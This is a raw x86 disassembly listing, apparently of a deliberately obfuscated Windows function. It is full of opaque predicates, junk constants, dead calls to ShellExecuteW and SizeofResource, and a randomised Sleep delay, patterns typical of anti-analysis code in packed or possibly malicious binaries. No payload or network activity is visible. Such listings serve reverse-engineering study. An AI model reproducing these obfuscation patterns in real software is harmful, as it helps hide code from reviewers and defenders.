mov dword [ebp - 0x14c4], 1
jmp 0x46d5d1
and dword [ebp - 0x14c4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x41c]
cmp dword [ebp - 0x14c4], eax
jl 0x46d5f2
mov dword [ebp - 0x1e0c], 1
jmp 0x46d5f9
and dword [ebp - 0x1e0c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
add eax, dword [ebp - 0x1e0c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x41c]
jne 0x46d626
mov dword [ebp - 0x2274], 1
jmp 0x46d62d
and dword [ebp - 0x2274], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
mov dword [ebp - 0x288c], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
cmp dword [ebp - 0x1c], eax
jle 0x46d65e
mov dword [ebp - 0x14cc], 1
jmp 0x46d665
and dword [ebp - 0x14cc], 0
mov eax, dword [ebp - 0x14cc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 3
jmp 0x46d67e
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x46d96b
mov dword [ebp - 0x58], 0xdb956746
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x2b70], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x58]
cmp dword [ebp + eax - 0x41c], ecx
jne 0x46d6b6
mov dword [ebp - 0x198c], 1
jmp 0x46d6bd
and dword [ebp - 0x198c], 0
cmp dword [ebp - 0x198c], 1
jb 0x46d6d2
mov dword [ebp - 0x202c], 1
jmp 0x46d6d9
and dword [ebp - 0x202c], 0
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x2894], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x2dec], eax
cmp dword [ebp - 0x58], 0
je 0x46d706
cmp dword [ebp - 0x58], 0
je 0x46d706
mov dword [ebp - 0x14d4], 1
jmp 0x46d70d
and dword [ebp - 0x14d4], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x14d4], eax
jl 0x46d724
mov dword [ebp - 0x1bec], 1
jmp 0x46d72b
and dword [ebp - 0x1bec], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1bec]
mov dword [ebp + eax*4 - 0x41c], ecx
cmp dword [ebp - 0x58], 0
jne 0x46d927
cmp dword [ebp - 0x58], 0xffffffff
ja 0x46d757
mov dword [ebp - 0x14dc], 1
jmp 0x46d75e
and dword [ebp - 0x14dc], 0
cmp dword [ebp - 0x14dc], 4
jbe 0x46d773
mov dword [ebp - 0x1994], 1
jmp 0x46d77a
and dword [ebp - 0x1994], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x41c]
cmp dword [ebp - 0x1994], eax
jne 0x46d798
mov dword [ebp - 0x14e4], 1
jmp 0x46d79f
and dword [ebp - 0x14e4], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x14e4], eax
jl 0x46d7b6
mov dword [ebp - 0x1d24], 1
jmp 0x46d7bd
and dword [ebp - 0x1d24], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x1d24], eax
je 0x46d7d4
mov dword [ebp - 0x14ec], 1
jmp 0x46d7db
and dword [ebp - 0x14ec], 0
mov eax, dword [ebp - 0x14ec]
sub eax, dword [ebp - 0x58]
cmp eax, 0x181c
jne 0x46d7f7
mov dword [ebp - 0x199c], 1
jmp 0x46d7fe
and dword [ebp - 0x199c], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x41c]
add eax, dword [ebp - 0x199c]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x41c]
je 0x46d835
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x41c], 0
je 0x46d835
mov dword [ebp - 0x14f4], 1
jmp 0x46d83c
and dword [ebp - 0x14f4], 0
cmp dword [ebp - 0x14f4], 0xf200
je 0x46d854
mov dword [ebp - 0x1bf4], 1
jmp 0x46d85b
and dword [ebp - 0x1bf4], 0
mov eax, dword [ebp - 0x1bf4]
sub eax, dword [ebp - 0x58]
cmp eax, 0xfffc
jae 0x46d877
mov dword [ebp - 0x14fc], 1
jmp 0x46d87e
and dword [ebp - 0x14fc], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x41c]
cmp dword [ebp - 0x14fc], eax
jge 0x46d89c
mov dword [ebp - 0x19a4], 1
jmp 0x46d8a3
and dword [ebp - 0x19a4], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x19a4]
sub ecx, dword [ebp + eax*4 - 0x41c]
je 0x46d8ca
mov eax, 0x5da77236
test eax, eax
je 0x46d8ca
mov dword [ebp - 0x1504], 1
jmp 0x46d8d1
and dword [ebp - 0x1504], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x41c]
add eax, dword [ebp - 0x1504]
cmp dword [ebp - 0x560], eax
jle 0x46d8f5
mov dword [ebp - 0x1dd4], 1
jmp 0x46d8fc
and dword [ebp - 0x1dd4], 0
cmp dword [ebp - 0x1dd4], 0
jb 0x46d911
mov dword [ebp - 0x21b4], 1
jmp 0x46d918
and dword [ebp - 0x21b4], 0
cmp dword [ebp - 0x58], 0
jne 0x46d927
and dword [ebp - 0x150c], 0
jmp 0x46d931
mov dword [ebp - 0x150c], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x41c]
cmp dword [ebp - 0x150c], eax
jg 0x46d94f
mov dword [ebp - 0x19ac], 1
jmp 0x46d956
and dword [ebp - 0x19ac], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x19ac]
mov dword [ebp + eax*4 - 0x41c], ecx
jmp 0x46d677
mov byte [ebp - 0x275], 0
mov dword [ebp - 0x10], 0x31551da6
mov dword [ebp - 0x448], 0xffffffff
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x289c], 1
cmp dword [ebp - 0x10], 0
jne 0x46d9ac
cmp dword [ebp - 0x10], 0
jne 0x46d9ac
and dword [ebp - 0x1514], 0
jmp 0x46d9b6
mov dword [ebp - 0x1514], 1
mov dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x448], eax
je 0x46d9d7
mov dword [ebp - 0x1bfc], 1
jmp 0x46d9de
and dword [ebp - 0x1bfc], 0
mov eax, dword [ebp - 0x1514]
cmp eax, dword [ebp - 0x1bfc]
je 0x46d9f8
mov dword [ebp - 0x151c], 1
jmp 0x46d9ff
and dword [ebp - 0x151c], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x151c]
jne 0x46da16
mov dword [ebp - 0x19b4], 1
jmp 0x46da1d
and dword [ebp - 0x19b4], 0
push 0xfffffffffffffff9
pop eax
sub eax, dword [ebp - 0x19b4]
cmp eax, dword [ebp - 0x10]
jl 0x46da37
mov dword [ebp - 0x1524], 1
jmp 0x46da3e
and dword [ebp - 0x1524], 0
imul eax, dword [ebp - 0x1524], 0xfffa
cmp eax, 0xffffffff
je 0x46da59
mov dword [ebp - 0x1d2c], 1
jmp 0x46da60
and dword [ebp - 0x1d2c], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x1d2c], eax
je 0x46da9f
mov dword [ebp - 0x10], 0
jmp 0x46da7b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x3b
jg 0x46da9a
mov dword [ebp - 0xbbc], 0xbde64f6c
mov eax, dword [ebp - 0xbbc]
inc eax
mov dword [ebp - 0xbbc], eax
jmp 0x46da74
jmp 0x46dbf3
mov dword [ebp - 0x19bc], 0x71e9942c
mov dword [ebp - 0x1c04], 0x9a325cf1
mov dword [ebp - 0x153c], 0x4a08deb2
mov dword [ebp - 0x23ac], 0xf9aa2aaf
mov dword [ebp - 0x568], 0
jmp 0x46dae0
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 1
jge 0x46dafc
mov eax, dword [ebp - 0x568]
mov dword [ebp + eax*4 - 0x2034], 0xc2a41b87
jmp 0x46dad3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2034], 0
je 0x46db48
mov dword [ebp - 0x19bc], 0x471ffbaa
mov eax, dword [ebp - 0x19bc]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x3ac], eax
jne 0x46db3c
mov eax, 0x5ab13611
test eax, eax
je 0x46db48
mov dword [ebp - 0x1534], 1
jmp 0x46db4f
and dword [ebp - 0x1534], 0
imul eax, dword [ebp - 0x1534], 0x4225
mov dword [ebp - 0x1c04], eax
mov eax, dword [ebp - 0x153c]
cmp dword [ebp - 0x1c04], eax
jne 0x46db79
mov dword [ebp - 0x19c4], 1
jmp 0x46db80
and dword [ebp - 0x19c4], 0
mov eax, dword [ebp - 0x153c]
cmp dword [ebp - 0x19c4], eax
jle 0x46db9a
mov dword [ebp - 0x1544], 1
jmp 0x46dba1
and dword [ebp - 0x1544], 0
imul eax, dword [ebp - 0x10], 0
add eax, dword [ebp - 0x1544]
jne 0x46dbbf
cmp dword [ebp - 0x448], 0
jne 0x46dbbf
and dword [ebp - 0x1e14], 0
jmp 0x46dbc9
mov dword [ebp - 0x1e14], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x1e14], eax
jl 0x46dbe0
mov dword [ebp - 0x154c], 1
jmp 0x46dbe7
and dword [ebp - 0x154c], 0
mov eax, dword [ebp - 0x154c]
mov dword [ebp - 0x23ac], eax
mov dword [ebp - 0x3ac], 0xfffffff1
jmp 0x46dc0c
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0xfffffffe
jne 0x46dc58
mov dword [ebp - 0x21bc], 0xd14a59e4
mov dword [ebp - 0x10], 0xffffffec
jmp 0x46dc2f
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2f
jl 0x46dc4c
mov dword [ebp - 0x203c], 1
cmp dword [ebp - 0x203c], 0
je 0x46dc4a
jmp 0x46dc4c
jmp 0x46dc28
mov dword [ebp - 0x21bc], 0x17999919
jmp 0x46dbff
movzx eax, byte [ebp - 0x275]
test eax, eax
je 0x46dd18
mov dword [ebp - 0x570], 0xfffffffc
mov dword [ebp - 0x570], 0
jmp 0x46dc8a
mov eax, dword [ebp - 0x570]
dec eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0xffffffe5
jl 0x46dd0e
mov dword [ebp - 0x578], 1
mov byte [ebp - 0x338], 0
movzx eax, byte [ebp - 0x338]
test eax, eax
je 0x46dcc9
push 0x35a
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x578], 0
jmp 0x46dce2
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 0
jne 0x46dd09
mov byte [ebp - 0x27d], 0
movzx eax, byte [ebp - 0x27d]
test eax, eax
je 0x46dd07
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x46dcd5
jmp 0x46dc7d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [ebp - 0x450], 0xf3c34eea
mov dword [ebp - 0x19cc], 0
mov dword [ebp - 0x1554], 0x75158018
push 1
lea ecx, [ebp - 0x2788]
call fcn.0042ec30
mov dword [ebp - 0x19dc], 0x28d5feaf
mov dword [ebp - 0x458], 0xffffffff
mov dword [ebp - 0x284c], 0xffffffff
mov dword [ebp - 0x580], 0
jmp 0x46dd7a
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 1
jge 0x46dd9c
push dword [ebp - 0x580]
lea ecx, [ebp - 0x2788]
call fcn.0042ed1e
mov dword [eax], 0xfffffff8
jmp 0x46dd6d
cmp dword [ebp - 0x450], 0
jne 0x46de62
mov dword [ebp - 0x19cc], 1
xor eax, eax
inc eax
sub eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x1554], eax
cmp dword [ebp - 0x1554], 0xfffffff6
jae 0x46ddd7
mov dword [ebp - 0x1c0c], 1
jmp 0x46ddde
and dword [ebp - 0x1c0c], 0
mov eax, dword [ebp - 0x1c0c]
sub eax, 0xfff6
cmp eax, 0xf6b3e713
jne 0x46ddfc
mov dword [ebp - 0x155c], 1
jmp 0x46de03
and dword [ebp - 0x155c], 0
mov eax, dword [ebp - 0x155c]
sub eax, dword [ebp - 0x450]
cmp eax, dword [ebp - 0x450]
jl 0x46de23
mov dword [ebp - 0x19d4], 1
jmp 0x46de2a
and dword [ebp - 0x19d4], 0
mov eax, dword [ebp - 0x450]
cmp dword [ebp - 0x19d4], eax
jl 0x46de44
mov dword [ebp - 0x1564], 1
jmp 0x46de4b
and dword [ebp - 0x1564], 0
mov eax, dword [ebp - 0x450]
cmp dword [ebp - 0x1564], eax
jg 0x46de62
and dword [ebp - 0x1d34], 0
jmp 0x46de6c
mov dword [ebp - 0x1d34], 1
push 0
lea ecx, [ebp - 0x2788]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1d34]
imul ecx, dword [eax]
test ecx, ecx
jbe 0x46de92
mov dword [ebp - 0x156c], 1
jmp 0x46de99
and dword [ebp - 0x156c], 0
mov eax, dword [ebp - 0x156c]
mov dword [ebp - 0x19dc], eax
cmp dword [ebp - 0x19dc], 0x97f51ef9
jae 0x46debd
mov dword [ebp - 0x1574], 1
jmp 0x46dec4
and dword [ebp - 0x1574], 0
cmp dword [ebp - 0x1574], 0xfffffff8
jl 0x46ded9
mov dword [ebp - 0x1c14], 1
jmp 0x46dee0
and dword [ebp - 0x1c14], 0
mov eax, dword [ebp - 0x1c14]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x458], 0
jmp 0x46df05
cmp dword [ebp - 0x458], 0xffffffef
jl 0x46dfce
mov dword [ebp - 0x28a4], 0xaa23
mov dword [ebp - 0x2d5c], 0xffffffff
push 1
lea ecx, [ebp - 0x2cb4]
call fcn.0042ec30
mov dword [ebp - 0x150], 0
jmp 0x46df4c
lea ecx, [ebp - 0x2788]
call fcn.0042ed02
call fcn.0047a3f2
cdq
push 3
pop ecx
idiv ecx
add edx, 3
imul eax, edx, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x477a91
push 1
lea ecx, [ebp - 0xac4]
call fcn.0042ec30
mov dword [ebp - 0x1d3c], 1
mov dword [ebp - 0x28ac], 0xc9a7b2e0
mov dword [ebp - 0x588], 0
jmp 0x46e033
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 1
jge 0x46e055
push dword [ebp - 0x588]
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
mov dword [eax], 0xd5e48d32
jmp 0x46e026
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
mov dword [eax], 0xffffffee
jmp 0x46e08e
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
mov dword [ebp - 0x157c], eax
mov eax, dword [ebp - 0x157c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x157c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
cmp dword [eax], 0x19
jge 0x46e477
mov dword [ebp - 0x2044], 0xb40194dd
mov dword [ebp - 0x1bc], 0x7822e6e7
mov dword [ebp - 0x15a4], 0
mov dword [ebp - 0x590], 0
jmp 0x46e0db
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 1
jge 0x46e0f7
mov eax, dword [ebp - 0x590]
mov dword [ebp + eax*4 - 0x15c4], 0xe481db3a
jmp 0x46e0ce
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x2044]
cmp dword [eax], ecx
jge 0x46e11a
mov dword [ebp - 0x19e4], 1
jmp 0x46e121
and dword [ebp - 0x19e4], 0
mov eax, dword [ebp - 0x19e4]
mov dword [ebp - 0x1bc], eax
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
cmp dword [eax], 0x4990
jl 0x46e428
mov dword [ebp - 0x2b80], 0
push 2
lea ecx, [ebp - 0x27a0]
call fcn.0042ec30
mov dword [ebp - 0x1a0], 0
jmp 0x46e176
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jge 0x46e192
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0xb64], 0x1ecbfcf4
jmp 0x46e169
mov dword [ebp - 0x1a0], 0
jmp 0x46e1ab
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jge 0x46e1cd
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x27a0]
call fcn.0042ed1e
mov dword [eax], 0xe7e5ff1f
jmp 0x46e19e
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
cmp dword [eax], 1
jge 0x46e1eb
mov dword [ebp - 0x1584], 1
jmp 0x46e1f2
and dword [ebp - 0x1584], 0
mov eax, dword [ebp - 0x1584]
sub eax, 3
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xb64]
jge 0x46e216
mov dword [ebp - 0x1de4], 1
jmp 0x46e21d
and dword [ebp - 0x1de4], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x1de4], eax
jge 0x46e246
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x46e246
and dword [ebp - 0x158c], 0
jmp 0x46e250
mov dword [ebp - 0x158c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb64]
cmp dword [ebp - 0x158c], eax
jg 0x46e271
mov dword [ebp - 0x19ec], 1
jmp 0x46e278
and dword [ebp - 0x19ec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb64]
cmp dword [ebp - 0x19ec], eax
jle 0x46e299
mov dword [ebp - 0x1594], 1
jmp 0x46e2a0
and dword [ebp - 0x1594], 0
cmp dword [ebp - 0x1594], 0xfffffffe
jg 0x46e2b5
mov dword [ebp - 0x1c1c], 1
jmp 0x46e2bc
and dword [ebp - 0x1c1c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb64]
cmp dword [ebp - 0x1c1c], eax
jne 0x46e2dd
mov dword [ebp - 0x159c], 1
jmp 0x46e2e4
and dword [ebp - 0x159c], 0
cmp dword [ebp - 0x159c], 0xca62
jl 0x46e2fc
mov dword [ebp - 0x19f4], 1
jmp 0x46e303
and dword [ebp - 0x19f4], 0
mov eax, dword [ebp - 0x19f4]
mov dword [ebp - 0x15a4], eax
mov eax, dword [ebp - 0x15a4]
mov dword [ebp - 0x1d3c], eax
mov esi, dword [ebp - 0x1d3c]
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0xac4]
call fcn.0042ed1e
cmp esi, dword [eax]
jg 0x46e34e
mov dword [ebp - 0x15ac], 1
jmp 0x46e355
and dword [ebp - 0x15ac], 0
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [ebp - 0x15ac]
jl 0x46e36f
mov dword [ebp - 0x19fc], 1
jmp 0x46e376
and dword [ebp - 0x19fc], 0
imul eax, dword [ebp - 0x19fc], 0xfffffffe
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xb64]
jge 0x46e398
mov dword [ebp - 0x15b4], 1
jmp 0x46e39f
and dword [ebp - 0x15b4], 0
cmp dword [ebp - 0x15b4], 0x972c
jge 0x46e3b7
mov dword [ebp - 0x1c24], 1
jmp 0x46e3be
and dword [ebp - 0x1c24], 0
cmp dword [ebp - 0x1c24], 0x1036c141
jge 0x46e3d6
mov dword [ebp - 0x15bc], 1
jmp 0x46e3dd
and dword [ebp - 0x15bc], 0
cmp dword [ebp - 0x15bc], 0xffffffff
jle 0x46e3f2
mov dword [ebp - 0x1a04], 1
jmp 0x46e3f9
and dword [ebp - 0x1a04], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xb64]
add esi, dword [ebp - 0x1a04]
push 1
lea ecx, [ebp - 0x27a0]
call fcn.0042ed1e
mov dword [eax], esi
lea ecx, [ebp - 0x27a0]
call fcn.0042ed02
jmp 0x46e472
mov dword [ebp - 0x1bc], 0
jmp 0x46e441
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 1
jge 0x46e45d
mov eax, dword [ebp - 0x1bc]
mov dword [ebp + eax*4 - 0x15c4], 0x77fc3fe7
jmp 0x46e434
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x15c4], 0
je 0x46e472
jmp 0x46e06a
jmp 0x46e06a
lea ecx, [ebp - 0xac4]
call fcn.0042ed02
mov dword [ebp - 0x460], 0xac204e2
mov dword [ebp - 0x227c], 0x9bf39019
mov dword [ebp - 0x28b4], 0x90be
mov byte [ebp - 0x348], 0
movzx eax, byte [ebp - 0x348]
test eax, eax
je 0x46e4c1
push 0x215a
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
mov dword [ebp - 0x460], 0
jmp 0x46e4da
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x19
jg 0x46e4f1
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0x227c], eax
jmp 0x46e4cd
mov dword [ebp - 4], 0xca4f833f
mov dword [ebp - 0x598], 0
jmp 0x46e511
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 3
jge 0x46e52d
mov eax, dword [ebp - 0x598]
mov dword [ebp + eax*4 - 0xad4], 1
jmp 0x46e504
mov dword [ebp - 4], 2
jmp 0x46e53d
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x46e757
mov dword [ebp - 0x1a14], 0xfbc43cc9
mov dword [ebp - 0x204c], 0x23e46920
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xad4]
cmp dword [ebp + eax - 0xad4], ecx
jle 0x46e582
mov dword [ebp - 0x1e1c], 1
jmp 0x46e589
and dword [ebp - 0x1e1c], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xad4]
cmp dword [ebp - 0x1e1c], eax
jge 0x46e5a7
mov dword [ebp - 0x15cc], 1
jmp 0x46e5ae
and dword [ebp - 0x15cc], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xad4]
neg eax
sub eax, dword [ebp - 0x15cc]
mov ecx, dword [ebp - 4]
cmp eax, dword [ebp + ecx*4 - 0xad4]
jl 0x46e5d8
mov dword [ebp - 0x1a0c], 1
jmp 0x46e5df
and dword [ebp - 0x1a0c], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xad4]
mov ecx, dword [ebp - 0x1a0c]
sub ecx, 0x6d0c
sub eax, ecx
cmp eax, 0xeef7d266
jb 0x46e60a
mov dword [ebp - 0x15d4], 1
jmp 0x46e611
and dword [ebp - 0x15d4], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xad4]
cmp eax, dword [ebp - 0x15d4]
je 0x46e62f
mov dword [ebp - 0x1c2c], 1
jmp 0x46e636
and dword [ebp - 0x1c2c], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x1c2c], eax
jne 0x46e64d
mov dword [ebp - 0x15dc], 1
jmp 0x46e654
and dword [ebp - 0x15dc], 0
mov eax, dword [ebp - 0x15dc]
mov dword [ebp - 0x1a14], eax
cmp dword [ebp - 0x1a14], 0
je 0x46e685
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xad4], 0
je 0x46e685
mov dword [ebp - 0x15e4], 1
jmp 0x46e68c
and dword [ebp - 0x15e4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x15e4]
sub ecx, dword [ebp + eax - 0xad4]
je 0x46e6ba
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0xad4], 0
je 0x46e6ba
mov dword [ebp - 0x1d44], 1
jmp 0x46e6c1
and dword [ebp - 0x1d44], 0
cmp dword [ebp - 0x1d44], 0x4c90d297
jge 0x46e6d9
mov dword [ebp - 0x15ec], 1
jmp 0x46e6e0
and dword [ebp - 0x15ec], 0
mov eax, dword [ebp - 0x15ec]
neg eax
jne 0x46e6f9
cmp dword [ebp - 4], 0
jne 0x46e6f9
and dword [ebp - 0x1a1c], 0
jmp 0x46e703
mov dword [ebp - 0x1a1c], 1
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xad4]
cmp dword [ebp - 0x1a1c], eax
jg 0x46e721
mov dword [ebp - 0x15f4], 1
jmp 0x46e728
and dword [ebp - 0x15f4], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x15f4], eax
jle 0x46e73f
mov dword [ebp - 0x1c34], 1
jmp 0x46e746
and dword [ebp - 0x1c34], 0
mov eax, dword [ebp - 0x1c34]
mov dword [ebp - 0x204c], eax
jmp 0x46e536
cmp dword [ebp - 4], 0
je 0x46e76f
cmp dword [ebp - 4], 0
je 0x46e76f
mov dword [ebp - 0x15fc], 1
jmp 0x46e776
and dword [ebp - 0x15fc], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x15fc]
jg 0x46e78d
mov dword [ebp - 0x1a24], 1
jmp 0x46e794
and dword [ebp - 0x1a24], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x1a24], eax
je 0x46e7ab
mov dword [ebp - 0x1604], 1
jmp 0x46e7b2
and dword [ebp - 0x1604], 0
cmp dword [ebp - 0x1604], 0x2599
jge 0x46e7ca
mov dword [ebp - 0x1df4], 1
jmp 0x46e7d1
and dword [ebp - 0x1df4], 0
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x1df4]
sub eax, dword [ebp - 4]
cmp eax, dword [ebp - 4]
jne 0x46e7ef
mov dword [ebp - 0x160c], 1
jmp 0x46e7f6
and dword [ebp - 0x160c], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x160c], eax
jl 0x46e80d
mov dword [ebp - 0x1a2c], 1
jmp 0x46e814
and dword [ebp - 0x1a2c], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1a2c]
jne 0x46e82b
mov dword [ebp - 0x1614], 1
jmp 0x46e832
and dword [ebp - 0x1614], 0
mov eax, dword [ebp - 0x1614]
mov dword [ebp - 4], eax
mov dword [ebp - 0xb0c], 0x2e91a04
mov dword [ebp - 0xb08], 0x2e91a04
mov dword [ebp - 0xb04], 0x2e91a04
mov dword [ebp - 0xb00], 0x2e91a04
mov dword [ebp - 0x468], 0x28c176b0
mov dword [ebp - 0x2eb0], 0
mov dword [ebp - 0x1a34], 5
mov byte [ebp - 0x285], 0
movzx eax, byte [ebp - 0x285]
test eax, eax
je 0x46e8a0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov dword [ebp - 0x468], 0xfffffff5
jmp 0x46e8b9
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0xd
jle 0x46e992
mov dword [ebp - 0x99c], 0xecafe8b0
xor eax, eax
jne 0x46e8dd
cmp dword [ebp - 0x468], 0
je 0x46e90d
mov dword [ebp - 0x28bc], 1
mov dword [ebp - 0x2b88], 1
mov dword [ebp - 0x28c4], 0xd44ad374
mov eax, dword [ebp - 0x99c]
dec eax
mov dword [ebp - 0x99c], eax
jmp 0x46e98d
mov dword [ebp - 0x5a0], 0
jmp 0x46e926
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 1
jge 0x46e942
mov eax, dword [ebp - 0x5a0]
mov dword [ebp + eax*4 - 0x161c], 0
jmp 0x46e919
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x161c], 0
je 0x46e967
cmp dword [ebp - 0x99c], 0
je 0x46e967
mov dword [ebp - 0x1c3c], 1
jmp 0x46e96e
and dword [ebp - 0x1c3c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c3c]
mov dword [ebp + eax - 0x161c], ecx
mov eax, dword [ebp - 0x1a34]
mov dword [ebp - 0x1a34], eax
jmp 0x46e8ac
mov dword [ebp - 0x1490], 0
mov dword [ebp - 0x470], 0xb674
mov dword [ebp - 0x1624], 0x837182ab
mov dword [ebp - 0x2d64], 0xf2579253
mov dword [ebp - 0x232c], 0x65b49d58
mov dword [ebp - 0x2054], 0x57689a5a
mov dword [ebp - 0x1a44], 0
mov dword [ebp - 0x28cc], 0x9d81479b
push 1
lea ecx, [ebp - 0x27b8]
call fcn.0042ec30
mov dword [ebp - 0x2b90], 1
mov dword [ebp - 0x9cc], 0xffffffff
